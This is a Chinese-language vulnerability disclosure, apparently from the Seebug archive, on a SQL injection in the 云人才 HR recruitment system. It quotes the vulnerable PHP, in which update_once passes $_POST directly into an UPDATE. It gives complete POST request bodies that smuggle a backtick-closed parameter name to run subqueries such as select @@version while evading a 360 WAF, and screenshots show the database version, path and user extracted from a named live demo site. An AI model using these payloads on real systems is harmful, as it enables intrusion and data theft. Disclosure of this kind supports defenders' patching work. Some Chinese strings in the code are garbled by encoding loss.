### 简要描述：
云人才系统SQL注入，绕过WAF
### 详细说明：
云人才系统SQL注入，绕过了360的WAF~~
首先需要注册一个普通用户~
比如官方演示站点：
[<img src="https://images.seebug.org/upload/201405/101327175d03640176acf2c7d3597daa59ddb6be.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/101327175d03640176acf2c7d3597daa59ddb6be.jpg)
然后来到
http://www.hr135.com/member/index.php?M=index&C=info
可以看到有某数字的WAF：
[<img src="https://images.seebug.org/upload/201405/101328245513b72be592621c7faa1fab7ef546f9.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/101328245513b72be592621c7faa1fab7ef546f9.jpg)
于是我们发现代码如下：
```
function info_action(){
if($_POST["submitBtn"]){
$_POST=$this->post_trim($_POST);
if($_POST["name"]==""){
$this->obj->ACT_msg("index.php?C=info","��������Ϊ�գ�");
}
if($_POST["city"]==""){
$this->obj->ACT_msg("index.php?C=info","�������ڵز���Ϊ�գ�");
}
if($this->config['user_idcard']=="1")
{
if($_POST["idcard"]==""){
$this->obj->ACT_msg("index.php?C=info","���֤���벻��Ϊ�գ�");
}
}
if($_POST["cityid"]==""){
$this->obj->ACT_msg("index.php?C=info","�־�ס�ز���Ϊ�գ�");
}
if($_POST["address"]==""){
$this->obj->ACT_msg("index.php?C=info","��ϸ��ַ����Ϊ�գ�");
}
unset($_POST["submitBtn"]);
$this->obj->delfiledir("..https://images.seebug.org/upload/tel/".$this->uid);
$where["uid"]=$this->uid;
$nid=$this->obj->update_once("resume",$_POST,$where);
```
最后update_once的时候直接把$_POST带入，然后再处理数组，而且想到如果不使用等号，就能绕过WAF，于是就使用反引号闭合来注入：
火狐插件提交语句为：
```
name=123123&sex=6&birthday=1988-01-01&marriage=8&height=&nationality=&weight=&province=3&city=38&three_city=400&idcard=&telphone=13989765678&telhome=&email=testtest%40testtest.com&edu=9&provinceid=9&cityid=88&three_cityid=485&exp=18&address=dsfsdfdsfsdf&submitBtn=+%B1%A3+%B4%E6&description%60%3D%28select+%40%40version%29%23=123
```
也可以使用burp提交：
```
name=123123&sex=6&birthday=1988-01-01&marriage=8&height=&nationality=&weight=&province=3&city=38&three_city=400&idcard=&telphone=13989765678&telhome=&email=testtest%40testtest.com&edu=9&provinceid=9&cityid=88&three_cityid=485&exp=18&address=dsfsdfdsfsdf&submitBtn=%2B%B1%A3%2B%B4%E6&description%60%3D%28select%2B%40%40version%29%23=123
```
~这里就绕过了WAF限制~~
### 漏洞证明：
看看效果：
VERSION
[<img src="https://images.seebug.org/upload/201405/1013335507dcda0ca58da679faac42f7610c673a.jpg" alt="3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/1013335507dcda0ca58da679faac42f7610c673a.jpg)
数据库路径：
[<img src="https://images.seebug.org/upload/201405/101335360380e0851ae381f4216f4e49b46f3854.jpg" alt="4.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/101335360380e0851ae381f4216f4e49b46f3854.jpg)
数据库用户：
[<img src="https://images.seebug.org/upload/201405/101335560067373dfe0dae368588f3e16db670b7.jpg" alt="5.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/101335560067373dfe0dae368588f3e16db670b7.jpg)
京公网安备 11010502034610号
暂无评论